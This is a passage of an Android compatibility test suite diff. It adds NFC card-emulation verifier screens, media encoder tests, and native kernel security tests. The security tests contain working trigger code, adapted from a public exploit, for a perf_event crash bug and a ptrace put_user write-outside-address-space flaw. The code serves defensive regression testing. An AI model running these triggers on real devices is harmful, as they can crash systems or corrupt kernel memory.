+ if (!wildCard && !Arrays.equals(response, expectedResponse)) {
+ Log.d(TAG, "Unexpected APDU response: " + HceUtils.getHexBytes("", response));
+ success = false;
+ break;
+ }
+ count++;
+ }
+ if (success) {
+ sb.insert(0, "Total APDU exchange time: " +
+ Long.toString(System.currentTimeMillis() - startTime) + " ms.\n\n");
+ runOnUiThread(new Runnable() {
+ @Override
+ public void run() {
+ mTextView.setText(sb.toString());
+ getPassButton().setEnabled(true);
+ }
+ });
+ } else {
+ sb.insert(0, "FAIL. Total APDU exchange time: " +
+ Long.toString(System.currentTimeMillis() - startTime) + " ms.\n\n");
+ runOnUiThread(new Runnable() {
+ @Override
+ public void run() {
+ mTextView.setText(sb.toString());
+ AlertDialog.Builder builder = new AlertDialog.Builder(SimpleReaderActivity.this);
+ builder.setTitle("Test failed");
+ builder.setMessage("An unexpected response APDU was received, or no APDUs were received at all.");
+ builder.setPositiveButton("OK", null);
+ builder.show();
+ }
+ });
+ }
+ } catch (IOException e) {
+ sb.insert(0, "Test failed. IOException (did you keep the devices in range?)\n\n.");
+ mTextView.setText(sb.toString());
+ } finally {
+ }
+ }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/nfc/hce/SingleNonPaymentEmulatorActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/nfc/hce/SingleNonPaymentEmulatorActivity.java
new file mode 100644
index 0000000..694199b
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/nfc/hce/SingleNonPaymentEmulatorActivity.java
@@ -0,0 +1,48 @@
+package com.android.cts.verifier.nfc.hce;
+
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.os.Bundle;
+
+import com.android.cts.verifier.R;
+import com.android.cts.verifier.nfc.NfcDialogs;
+
+public class SingleNonPaymentEmulatorActivity extends BaseEmulatorActivity {
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+ setContentView(R.layout.pass_fail_text);
+ setPassFailButtonClickListeners();
+ getPassButton().setEnabled(false);
+ setupServices(this, TransportService1.COMPONENT);
+ }
+
+ @Override
+ protected void onResume() {
+ super.onResume();
+ }
+
+ @Override
+ void onServicesSetup(boolean result) {
+ NfcDialogs.createHceTapReaderDialog(this, null).show();
+ }
+
+ public static Intent buildReaderIntent(Context context) {
+ Intent readerIntent = new Intent(context, SimpleReaderActivity.class);
+ readerIntent.putExtra(SimpleReaderActivity.EXTRA_APDUS,
+ TransportService1.APDU_COMMAND_SEQUENCE);
+ readerIntent.putExtra(SimpleReaderActivity.EXTRA_RESPONSES,
+ TransportService1.APDU_RESPOND_SEQUENCE);
+ readerIntent.putExtra(SimpleReaderActivity.EXTRA_LABEL,
+ context.getString(R.string.nfc_hce_single_non_payment_reader));
+ return readerIntent;
+ }
+
+ @Override
+ void onApduSequenceComplete(ComponentName component, long duration) {
+ if (component.equals(TransportService1.COMPONENT)) {
+ getPassButton().setEnabled(true);
+ }
+ }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/nfc/hce/SinglePaymentEmulatorActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/nfc/hce/SinglePaymentEmulatorActivity.java
new file mode 100644
index 0000000..e5f9f17
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/nfc/hce/SinglePaymentEmulatorActivity.java
@@ -0,0 +1,65 @@
+package com.android.cts.verifier.nfc.hce;
+
+import android.annotation.TargetApi;
+import android.app.AlertDialog;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.nfc.cardemulation.CardEmulation;
+import android.os.Bundle;
+
+import com.android.cts.verifier.R;
+import com.android.cts.verifier.nfc.NfcDialogs;
+
+@TargetApi(19)
+public class SinglePaymentEmulatorActivity extends BaseEmulatorActivity {
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+ setContentView(R.layout.pass_fail_text);
+ setPassFailButtonClickListeners();
+ getPassButton().setEnabled(false);
+ setupServices(this, PaymentService1.COMPONENT);
+ }
+
+ @Override
+ protected void onResume() {
+ super.onResume();
+ }
+
+ @Override
+ void onServicesSetup(boolean result) {
+ // Verify HCE service 1 is the default
+ if (!mCardEmulation.isDefaultServiceForCategory(
+ PaymentService1.COMPONENT, CardEmulation.CATEGORY_PAYMENT)) {
+ // Popup dialog-box, fail test
+ AlertDialog.Builder builder = new AlertDialog.Builder(this);
+ builder.setTitle("Test failed.");
+ builder.setMessage("PaymentService1 is not the default service according " +
+ "to CardEmulation.getDefaultServiceForCategory(), verify no other " +
+ "payment HCE apps are installed.");
+ builder.setPositiveButton("OK", null);
+ builder.show();
+ } else {
+ NfcDialogs.createHceTapReaderDialog(this, null).show();
+ }
+ }
+
+ public static Intent buildReaderIntent(Context context) {
+ Intent readerIntent = new Intent(context, SimpleReaderActivity.class);
+ readerIntent.putExtra(SimpleReaderActivity.EXTRA_APDUS,
+ PaymentService1.APDU_COMMAND_SEQUENCE);
+ readerIntent.putExtra(SimpleReaderActivity.EXTRA_RESPONSES,
+ PaymentService1.APDU_RESPOND_SEQUENCE);
+ readerIntent.putExtra(SimpleReaderActivity.EXTRA_LABEL,
+ context.getString(R.string.nfc_hce_single_payment_reader));
+ return readerIntent;
+ }
+
+ @Override
+ void onApduSequenceComplete(ComponentName component, long duration) {
+ if (component.equals(PaymentService1.COMPONENT)) {
+ getPassButton().setEnabled(true);
+ }
+ }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/nfc/hce/TapTestEmulatorActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/nfc/hce/TapTestEmulatorActivity.java
new file mode 100644
index 0000000..2eea89c
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/nfc/hce/TapTestEmulatorActivity.java
@@ -0,0 +1,65 @@
+package com.android.cts.verifier.nfc.hce;
+
+import android.annotation.TargetApi;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.os.Bundle;
+import android.widget.TextView;
+
+import com.android.cts.verifier.R;
+import com.android.cts.verifier.nfc.NfcDialogs;
+
+@TargetApi(19)
+public class TapTestEmulatorActivity extends BaseEmulatorActivity {
+ TextView mTextView;
+ int mNumTaps;
+
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+ setContentView(R.layout.pass_fail_text);
+ setPassFailButtonClickListeners();
+ getPassButton().setEnabled(false);
+ mTextView = (TextView) findViewById(R.id.text);
+ setupServices(this, TransportService1.COMPONENT);
+ }
+
+ @Override
+ protected void onResume() {
+ super.onResume();
+ mNumTaps = 0;
+ mTextView.setText("Number of successful taps: 0/50.");
+ }
+
+ @Override
+ void onServicesSetup(boolean result) {
+ NfcDialogs.createHceTapReaderDialog(this,
+ getString(R.string.nfc_hce_tap_test_emulator_help)).show();
+ }
+
+ public static Intent buildReaderIntent(Context context) {
+ Intent readerIntent = new Intent(context, SimpleReaderActivity.class);
+ readerIntent.putExtra(SimpleReaderActivity.EXTRA_APDUS,
+ TransportService1.APDU_COMMAND_SEQUENCE);
+ readerIntent.putExtra(SimpleReaderActivity.EXTRA_RESPONSES,
+ TransportService1.APDU_RESPOND_SEQUENCE);
+ readerIntent.putExtra(SimpleReaderActivity.EXTRA_LABEL,
+ context.getString(R.string.nfc_hce_tap_test_reader));
+ return readerIntent;
+ }
+
+ @Override
+ void onApduSequenceComplete(ComponentName component, long duration) {
+ if (component.equals(TransportService1.COMPONENT)) {
+ mNumTaps++;
+ if (mNumTaps <= 50) {
+ mTextView.setText("Number of successful taps: " + Integer.toString(mNumTaps) +
+ "/50.");
+ }
+ if (mNumTaps >= 50) {
+ getPassButton().setEnabled(true);
+ }
+ }
+ }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/nfc/hce/ThroughputEmulatorActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/nfc/hce/ThroughputEmulatorActivity.java
new file mode 100644
index 0000000..f050d77
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/nfc/hce/ThroughputEmulatorActivity.java
@@ -0,0 +1,64 @@
+package com.android.cts.verifier.nfc.hce;
+
+import android.annotation.TargetApi;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.os.Bundle;
+import android.widget.TextView;
+
+import com.android.cts.verifier.R;
+import com.android.cts.verifier.nfc.NfcDialogs;
+
+@TargetApi(19)
+public class ThroughputEmulatorActivity extends BaseEmulatorActivity {
+ TextView mTextView;
+
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+ setContentView(R.layout.pass_fail_text);
+ setPassFailButtonClickListeners();
+ getPassButton().setEnabled(false);
+ mTextView = (TextView) findViewById(R.id.text);
+ setupServices(this, ThroughputService.COMPONENT);
+ }
+
+ @Override
+ protected void onResume() {
+ super.onResume();
+ }
+
+ @Override
+ void onServicesSetup(boolean result) {
+ NfcDialogs.createHceTapReaderDialog(this,
+ getString(R.string.nfc_hce_throughput_emulator_help)).show();
+ }
+
+ public static Intent buildReaderIntent(Context context) {
+ Intent readerIntent = new Intent(context, SimpleReaderActivity.class);
+ readerIntent.putExtra(SimpleReaderActivity.EXTRA_APDUS,
+ ThroughputService.APDU_COMMAND_SEQUENCE);
+ readerIntent.putExtra(SimpleReaderActivity.EXTRA_RESPONSES,
+ ThroughputService.APDU_RESPOND_SEQUENCE);
+ readerIntent.putExtra(SimpleReaderActivity.EXTRA_LABEL,
+ context.getString(R.string.nfc_hce_throughput_reader));
+ return readerIntent;
+ }
+
+ @Override
+ void onApduSequenceComplete(ComponentName component, long duration) {
+ if (component.equals(ThroughputService.COMPONENT)) {
+ long timePerApdu = duration / ThroughputService.APDU_COMMAND_SEQUENCE.length;
+ if (duration < 1000) {
+ mTextView.setText("PASS. Total duration: " + Long.toString(duration) + " ms " +
+ "( " + Long.toString(timePerApdu) + " ms per APDU roundtrip).");
+ getPassButton().setEnabled(true);
+ } else {
+ mTextView.setText("FAIL. Total duration: " + Long.toString(duration) + " ms " +
+ "(" + Long.toString(timePerApdu) + " ms per APDU roundtrip)." +
+ " Require <= 60ms per APDU roundtrip.");
+ }
+ }
+ }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/nfc/hce/ThroughputService.java b/apps/CtsVerifier/src/com/android/cts/verifier/nfc/hce/ThroughputService.java
new file mode 100644
index 0000000..8f826ff
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/nfc/hce/ThroughputService.java
@@ -0,0 +1,58 @@
+package com.android.cts.verifier.nfc.hce;
+
+import android.content.ComponentName;
+
+public class ThroughputService extends HceService {
+ static final String TAG = "PaymentService1";
+
+ static final ComponentName COMPONENT =
+ new ComponentName("com.android.cts.verifier",
+ ThroughputService.class.getName());
+
+ public static final String[] APDU_COMMAND_SEQUENCE = {
+ HceUtils.buildSelectApdu("F0010203040607FF"),
+ "80CA010000",
+ "80CA010100",
+ "80CA010200",
+ "80CA010300",
+ "80CA010400",
+ "80CA010500",
+ "80CA010600",
+ "80CA010700",
+ "80CA010800",
+ "80CA010900",
+ "80CA010A00",
+ "80CA010B00",
+ "80CA010C00",
+ "80CA010D00",
+ "80CA010E00",
+ };
+
+ public static final String[] APDU_RESPOND_SEQUENCE = {
+ "9000",
+ "0000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF9000",
+ "0001FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF9000",
+ "0002FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF9000",
+ "0003FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF9000",
+ "0004FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF9000",
+ "0005FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF9000",
+ "0006FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF9000",
+ "0007FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF9000",
+ "0008FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF9000",
+ "0009FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF9000",
+ "000AFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF9000",
+ "000BFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF9000",
+ "000CFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF9000",
+ "000DFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF9000",
+ "000EFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF9000",
+ };
+
+ public ThroughputService() {
+ initialize(APDU_COMMAND_SEQUENCE, APDU_RESPOND_SEQUENCE);
+ }
+
+ @Override
+ public ComponentName getComponent() {
+ return COMPONENT;
+ }
+}
\ No newline at end of file
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/nfc/hce/TransportService1.java b/apps/CtsVerifier/src/com/android/cts/verifier/nfc/hce/TransportService1.java
new file mode 100644
index 0000000..c751e76
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/nfc/hce/TransportService1.java
@@ -0,0 +1,28 @@
+package com.android.cts.verifier.nfc.hce;
+
+import android.content.ComponentName;
+
+public class TransportService1 extends HceService {
+ static final ComponentName COMPONENT =
+ new ComponentName("com.android.cts.verifier",
+ TransportService1.class.getName());
+
+ public static final String[] APDU_COMMAND_SEQUENCE = {
+ HceUtils.buildSelectApdu(HceUtils.TRANSPORT_AID),
+ "80CA01E000"
+ };
+
+ public static final String[] APDU_RESPOND_SEQUENCE = {
+ "80CA9000",
+ "83947102829000"
+ };
+
+ public TransportService1() {
+ initialize(APDU_COMMAND_SEQUENCE, APDU_RESPOND_SEQUENCE);
+ }
+
+ @Override
+ public ComponentName getComponent() {
+ return COMPONENT;
+ }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/nfc/hce/TransportService2.java b/apps/CtsVerifier/src/com/android/cts/verifier/nfc/hce/TransportService2.java
new file mode 100644
index 0000000..0815b9c
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/nfc/hce/TransportService2.java
@@ -0,0 +1,28 @@
+package com.android.cts.verifier.nfc.hce;
+
+import android.content.ComponentName;
+
+public class TransportService2 extends HceService {
+ static final ComponentName COMPONENT =
+ new ComponentName("com.android.cts.verifier",
+ TransportService2.class.getName());
+
+ public static final String[] APDU_COMMAND_SEQUENCE = {
+ HceUtils.buildSelectApdu(HceUtils.TRANSPORT_AID),
+ "80CA01E100"
+ };
+
+ public static final String[] APDU_RESPOND_SEQUENCE = {
+ "81CA9000",
+ "7483624748FEFE9000"
+ };
+
+ public TransportService2() {
+ initialize(APDU_COMMAND_SEQUENCE, APDU_RESPOND_SEQUENCE);
+ }
+
+ @Override
+ public ComponentName getComponent() {
+ return COMPONENT;
+ }
+}
diff --git a/tests/tests/media/src/android/media/cts/AudioTrackTest.java b/tests/tests/media/src/android/media/cts/AudioTrackTest.java
index 2543116..9b1879a 100644
--- a/tests/tests/media/src/android/media/cts/AudioTrackTest.java
+++ b/tests/tests/media/src/android/media/cts/AudioTrackTest.java
@@ -401,11 +401,11 @@
public void testPlaybackHeadPositionAfterFlushAndPlay() throws Exception {
// constants for test
final String TEST_NAME = "testPlaybackHeadPositionAfterFlushAndPlay";
- final int TEST_SR = 22050;
final int TEST_CONF = AudioFormat.CHANNEL_OUT_STEREO;
final int TEST_FORMAT = AudioFormat.ENCODING_PCM_16BIT;
final int TEST_MODE = AudioTrack.MODE_STREAM;
final int TEST_STREAM_TYPE = AudioManager.STREAM_MUSIC;
+ final int TEST_SR = AudioTrack.getNativeOutputSampleRate(TEST_STREAM_TYPE);
// -------- initialization --------------
int minBuffSize = AudioTrack.getMinBufferSize(TEST_SR, TEST_CONF, TEST_FORMAT);
diff --git a/tests/tests/media/src/android/media/cts/Vp8EncoderTest.java b/tests/tests/media/src/android/media/cts/Vp8EncoderTest.java
index 326c959..14e4055 100644
--- a/tests/tests/media/src/android/media/cts/Vp8EncoderTest.java
+++ b/tests/tests/media/src/android/media/cts/Vp8EncoderTest.java
@@ -86,6 +86,19 @@
}
/**
+ * Check if MediaCodec.PARAMETER_KEY_VIDEO_BITRATE is honored.
+ *
+ * Run the sample multiple times. Request periodic changes to the
+ * bitrate and ensure the encoder responds.
+ */
+ public void testVariableBitrate() throws Exception {
+ encodeVariableBitrate(R.raw.video_176x144_yv12,
+ 176, // width
+ 144, // height
+ 30); // framerate
+ }
+
+ /**
* A basic check if an encoded stream is decodable.
*
* The most basic confirmation we can get about a frame
@@ -204,9 +217,6 @@
*/
private void encode(String outputFilename, int rawInputFd,
int frameWidth, int frameHeight, int frameRate) throws Exception {
- int frameSize = frameWidth * frameHeight * 3 / 2;
-
-
// Create a media format signifying desired output
MediaFormat format = MediaFormat.createVideoFormat(VP8_MIME, frameWidth, frameHeight);
format.setInteger(MediaFormat.KEY_BIT_RATE, 100000);
@@ -243,6 +253,10 @@
if (!sawInputEOS) {
int inputBufIndex = encoder.dequeueInputBuffer(DEFAULT_TIMEOUT_US);
if (inputBufIndex >= 0) {
+ // YUV420 has 3 planes. Y is full size. U and V are each half size (1/4 the
+ // pixels).
+ int frameSize = frameWidth * frameHeight * 3 / 2;
+
byte[] frame = new byte[frameSize];
int bytesRead = rawStream.read(frame);
@@ -330,9 +344,6 @@
*/
private void encodeSyncFrame(int rawInputFd, int frameWidth,
int frameHeight, int frameRate) throws Exception {
- int frameSize = frameWidth * frameHeight * 3 / 2;
-
-
// Create a media format signifying desired output
MediaFormat format = MediaFormat.createVideoFormat(VP8_MIME, frameWidth, frameHeight);
format.setInteger(MediaFormat.KEY_BIT_RATE, 100000);
@@ -368,6 +379,8 @@
if (!sawInputEOS) {
int inputBufIndex = encoder.dequeueInputBuffer(DEFAULT_TIMEOUT_US);
if (inputBufIndex >= 0) {
+ int frameSize = frameWidth * frameHeight * 3 / 2;
+
byte[] frame = new byte[frameSize];
int bytesRead = rawStream.read(frame);
@@ -431,4 +444,166 @@
}
}
}
+
+
+ /**
+ * Adjust bitrate
+ *
+ * MediaCodec will raise an IllegalStateException
+ * whenever vp8 encoder fails to encode a frame.
+ *
+ * Encode the file three times: once at the initial bitrate, once at an
+ * increased bitrate, and once at a decreased bitrate. Record the frame
+ * sizes that are returned and verify a strict ordering.
+ *
+ * Color format of input file should be YUV420, and frameWidth,
+ * frameHeight should be supplied correctly as raw input file doesn't
+ * include any header data.
+ *
+ * @param rawInputFd File descriptor for the raw input file (YUV420)
+ * @param frameWidth Frame width of input file
+ * @param frameHeight Frame height of input file
+ * @param frameRate Frame rate of input file in frames per second
+ */
+ private void encodeVariableBitrate(int rawInputFd, int frameWidth,
+ int frameHeight, int frameRate) throws Exception {
+ // Create a media format signifying desired output
+ MediaFormat format = MediaFormat.createVideoFormat(VP8_MIME, frameWidth, frameHeight);
+ format.setInteger(MediaFormat.KEY_BIT_RATE, 75000);
+ format.setInteger(MediaFormat.KEY_COLOR_FORMAT,
+ CodecCapabilities.COLOR_FormatYUV420Planar);
+ format.setInteger(MediaFormat.KEY_FRAME_RATE, 30);
+
+ Log.d(TAG, "Creating encoder");
+ MediaCodec encoder;
+ encoder = MediaCodec.createByCodecName(VPX_ENCODER_NAME);
+ encoder.configure(format,
+ null, // surface
+ null, // crypto
+ MediaCodec.CONFIGURE_FLAG_ENCODE);
+ encoder.start();
+
+ mInputBuffers = encoder.getInputBuffers();
+ mOutputBuffers = encoder.getOutputBuffers();
+
+ InputStream rawStream = null;
+
+ int iteration = 0;
+ int[] bits = new int[100];
+
+ try {
+ rawStream = mResources.openRawResource(rawInputFd);
+ /* Doc says this is not the default:
+ * http://developer.android.com/reference/java/io/InputStream.html#markSupported()
+ * but it returns true so using .reset() instead of close/open
+ */
+ if (rawStream.markSupported()) Log.d(TAG, "Stream marking supported");
+ rawStream.mark(1000000);
+
+ // encode loop
+ long presentationTimeUs = 0;
+ int inputFrameIndex = 0;
+ int outputFrameIndex = 0;
+ boolean sawInputEOS = false;
+ boolean sawOutputEOS = false;
+
+ while (!sawOutputEOS) {
+ if (!sawInputEOS) {
+ int inputBufIndex = encoder.dequeueInputBuffer(DEFAULT_TIMEOUT_US);
+ if (inputBufIndex >= 0) {
+ int frameSize = frameWidth * frameHeight * 3 / 2;
+
+ byte[] frame = new byte[frameSize];
+ int bytesRead = rawStream.read(frame);
+
+ if (bytesRead == -1) {
+ if (iteration < 2) {
+ rawStream.reset();
+ Bundle bitrate = new Bundle();
+ if (iteration == 0) {
+ bitrate.putInt(MediaCodec.PARAMETER_KEY_VIDEO_BITRATE, 150000);
+ Log.d(TAG, "Setting bitrate to 150000");
+ } else {
+ bitrate.putInt(MediaCodec.PARAMETER_KEY_VIDEO_BITRATE, 25000);
+ Log.d(TAG, "Setting bitrate to 25000");
+ }
+ encoder.setParameters(bitrate);
+
+ iteration++;
+ continue;
+ } else {
+ sawInputEOS = true;
+ bytesRead = 0;
+ }
+ }
+
+ mInputBuffers[inputBufIndex].clear();
+ mInputBuffers[inputBufIndex].put(frame);
+ mInputBuffers[inputBufIndex].rewind();
+
+ presentationTimeUs = (inputFrameIndex * 1000000) / frameRate;
+ encoder.queueInputBuffer(
+ inputBufIndex,
+ 0, // offset
+ bytesRead, // size
+ presentationTimeUs,
+ sawInputEOS ? MediaCodec.BUFFER_FLAG_END_OF_STREAM : 0);
+
+ inputFrameIndex++;
+ }
+ }
+
+ int result = encoder.dequeueOutputBuffer(mBufferInfo, DEFAULT_TIMEOUT_US);
+ if (result >= 0) {
+
+ bits[outputFrameIndex] = mBufferInfo.size;
+
+ if ((mBufferInfo.flags & MediaCodec.BUFFER_FLAG_END_OF_STREAM) != 0) {
+ sawOutputEOS = true;
+ }
+
+ encoder.releaseOutputBuffer(result,
+ false); // render
+
+ outputFrameIndex++;
+
+ } else if (result == MediaCodec.INFO_OUTPUT_BUFFERS_CHANGED) {
+ mOutputBuffers = encoder.getOutputBuffers();
+ }
+ }
+
+ // 29 frames per run
+ int i;
+ int sum = 0;
+ int frames = 29;
+ for(i = 0; i < frames; i++)
+ sum += bits[i];
+ int midBitrateAvg = sum / frames;
+
+ sum = 0;
+ for(; i < frames * 2; i++)
+ sum += bits[i];
+ int highBitrateAvg = sum / frames;
+
+ sum = 0;
+ for(; i < frames * 3; i++)
+ sum += bits[i];
+ int lowBitrateAvg = sum / frames;
+
+ // For the given bitrates we expect mid ~= 350, high ~= 575 and low ~= 150
+ // bytes per frame
+ if ((midBitrateAvg + 100) > highBitrateAvg)
+ throw new RuntimeException("Bitrate did not increase when requesting higher bitrate");
+ if ((lowBitrateAvg + 100) > midBitrateAvg)
+ throw new RuntimeException("Bitrate did not decrease when requesting lower bitrate");
+
+
+ encoder.stop();
+ encoder.release();
+ } finally {
+ if (rawStream != null) {
+ rawStream.close();
+ }
+ }
+ }
}
diff --git a/tests/tests/security/AndroidManifest.xml b/tests/tests/security/AndroidManifest.xml
index 771a184..e47b045 100644
--- a/tests/tests/security/AndroidManifest.xml
+++ b/tests/tests/security/AndroidManifest.xml
@@ -20,6 +20,7 @@
<uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
<uses-permission android:name="android.permission.KILL_BACKGROUND_PROCESSES" />
+ <uses-permission android:name="android.permission.CHANGE_NETWORK_STATE" />
<application>
<uses-library android:name="android.test.runner" />
diff --git a/tests/tests/security/jni/android_security_cts_NativeCodeTest.cpp b/tests/tests/security/jni/android_security_cts_NativeCodeTest.cpp
index 7af4298..acb3012 100644
--- a/tests/tests/security/jni/android_security_cts_NativeCodeTest.cpp
+++ b/tests/tests/security/jni/android_security_cts_NativeCodeTest.cpp
@@ -18,6 +18,13 @@
#include <sys/types.h>
#include <unistd.h>
#include <sys/syscall.h>
+#include <sys/prctl.h>
+#include <sys/ptrace.h>
+#include <sys/wait.h>
+#include <signal.h>
+#include <stdlib.h>
+#include <cutils/log.h>
+#include <linux/perf_event.h>
/*
* Returns true iff this device is vulnerable to CVE-2013-2094.
@@ -38,9 +45,131 @@
return result;
}
+/*
+ * Detects if the following patch is present.
+ * http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=c95eb3184ea1a3a2551df57190c81da695e2144b
+ *
+ * Returns true if the patch is applied, or crashes the system otherwise.
+ *
+ * While you're at it, you want to apply the following patch too.
+ * http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=b88a2595b6d8aedbd275c07dfa784657b4f757eb
+ * This test doesn't cover the above patch. TODO write a new test.
+ *
+ * Credit: https://github.com/deater/perf_event_tests/blob/master/exploits/arm_perf_exploit.c
+ */
+static jboolean android_security_cts_NativeCodeTest_doPerfEventTest2(JNIEnv* env, jobject thiz)
+{
+ struct perf_event_attr pe[2];
+ int fd[2];
+ memset(pe, 0, sizeof(pe));
+ pe[0].type = 2;
+ pe[0].config = 72;
+ pe[0].size = 80;
+ pe[1].type = PERF_TYPE_RAW;
+ pe[1].size = 80;
+ fd[0]=syscall(__NR_perf_event_open, &pe[0], 0, 0, -1, 0);
+ fd[1]=syscall(__NR_perf_event_open, &pe[1], 0, 0, fd[0], 0);
+ close(fd[0]);
+ close(fd[1]);
+ return true;
+}
+
+#define SEARCH_SIZE 0x4000
+
+static int secret;
+
+static bool isValidChildAddress(pid_t child, uintptr_t addr) {
+ long word;
+ long ret = syscall(__NR_ptrace, PTRACE_PEEKDATA, child, addr, &word);
+ return (ret == 0);
+}
+
+/* A lazy, do nothing child. GET A JOB. */
+static void child() {
+ int res;
+ ALOGE("in child");
+ secret = 0xbaadadd4;
+ res = prctl(PR_SET_DUMPABLE, 1, 0, 0, 0);
+ if (res != 0) {
+ ALOGE("prctl failed");
+ }
+ res = ptrace(PTRACE_TRACEME, 0, 0, 0);
+ if (res != 0) {
+ ALOGE("child ptrace failed");
+ }
+ signal(SIGSTOP, SIG_IGN);
+ kill(getpid(), SIGSTOP);
+}
+
+static jboolean parent(pid_t child) {
+ int status;
+ // Wait for the child to suspend itself so we can trace it.
+ waitpid(child, &status, 0);
+ jboolean result = true;
+
+ uintptr_t addr;
+ for (addr = 0x00000000; addr < 0xFFFF1000; addr+=SEARCH_SIZE) {
+ if (isValidChildAddress(child, addr)) {
+ // Don't scribble on our memory.
+ // (which has the same mapping as our child)
+ // We don't want to corrupt ourself.
+ continue;
+ }
+
+ errno = 0;
+ syscall(__NR_ptrace, PTRACE_PEEKDATA, child, &secret, addr);
+ if (errno == 0) {
+ result = false;
+ // We found an address which isn't in our our, or our child's,
+ // address space, but yet which is still writable. Scribble
+ // all over it.
+ ALOGE("parent: found writable at %x", addr);
+ uintptr_t addr2;
+ for (addr2 = addr; addr2 < addr + SEARCH_SIZE; addr2++) {
+ syscall(__NR_ptrace, PTRACE_PEEKDATA, child, &secret, addr2);
+ }
+ }
+ }
+
+ ptrace(PTRACE_DETACH, child, 0, 0);
+ return result;
+}
+
+/*
+ * Prior to https://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/arch/arm/include/asm/uaccess.h?id=8404663f81d212918ff85f493649a7991209fa04
+ * there was a flaw in the kernel's handling of get_user and put_user
+ * requests. Normally, get_user and put_user are supposed to guarantee
+ * that reads/writes outside the process's address space are not
+ * allowed.
+ *
+ * In this test, we use prctl(PTRACE_PEEKDATA) to force a write to
+ * an address outside of our address space. Without the patch applied,
+ * this write succeeds, because prctl(PTRACE_PEEKDATA) uses the
+ * vulnerable put_user call.
+ */
+static jboolean android_security_cts_NativeCodeTest_doVrootTest(JNIEnv*, jobject)
+{
+ ALOGE("Starting doVrootTest");
+ pid_t pid = fork();
+ if (pid == -1) {
+ return false;
+ }
+
+ if (pid == 0) {
+ child();
+ exit(0);
+ }
+
+ return parent(pid);
+}
+
static JNINativeMethod gMethods[] = {
{ "doPerfEventTest", "()Z",
(void *) android_security_cts_NativeCodeTest_doPerfEventTest },
+ { "doPerfEventTest2", "()Z",
+ (void *) android_security_cts_NativeCodeTest_doPerfEventTest2 },
+ { "doVrootTest", "()Z",
+ (void *) android_security_cts_NativeCodeTest_doVrootTest },
};
int register_android_security_cts_NativeCodeTest(JNIEnv* env)
diff --git a/tests/tests/security/src/android/security/cts/ListeningPortsTest.java b/tests/tests/security/src/android/security/cts/ListeningPortsTest.java
index 6d42a8e..87e957d 100644
--- a/tests/tests/security/src/android/security/cts/ListeningPortsTest.java
+++ b/tests/tests/security/src/android/security/cts/ListeningPortsTest.java
@@ -197,7 +197,7 @@
}
}
if (!errors.equals("")) {
- fail(errors);
+ throw new ListeningPortsAssertionError(errors);
}
}
diff --git a/tests/tests/security/src/android/security/cts/NativeCodeTest.java b/tests/tests/security/src/android/security/cts/NativeCodeTest.java
index 2522ef5..4781da3 100644
--- a/tests/tests/security/src/android/security/cts/NativeCodeTest.java
+++ b/tests/tests/security/src/android/security/cts/NativeCodeTest.java
@@ -24,6 +24,10 @@
System.loadLibrary("ctssecurity_jni");
}
+ public void testVroot() throws Exception {
+ assertTrue(doVrootTest());
+ }
+
public void testPerfEvent() throws Exception {
assertFalse("Device is vulnerable to CVE-2013-2094. Please apply security patch "
+ "at http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/"
@@ -31,10 +35,43 @@
doPerfEventTest());
}
+ public void testPerfEvent2() throws Exception {
+ assertTrue(doPerfEventTest2());
+ }
+
/**
* Returns true iff this device is vulnerable to CVE-2013-2094.
* A patch for CVE-2013-2094 can be found at
* http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=8176cced706b5e5d15887584150764894e94e02f
*/
private static native boolean doPerfEventTest();
+
+ /**
+ * CVE-2013-4254
+ *
+ * Verifies that
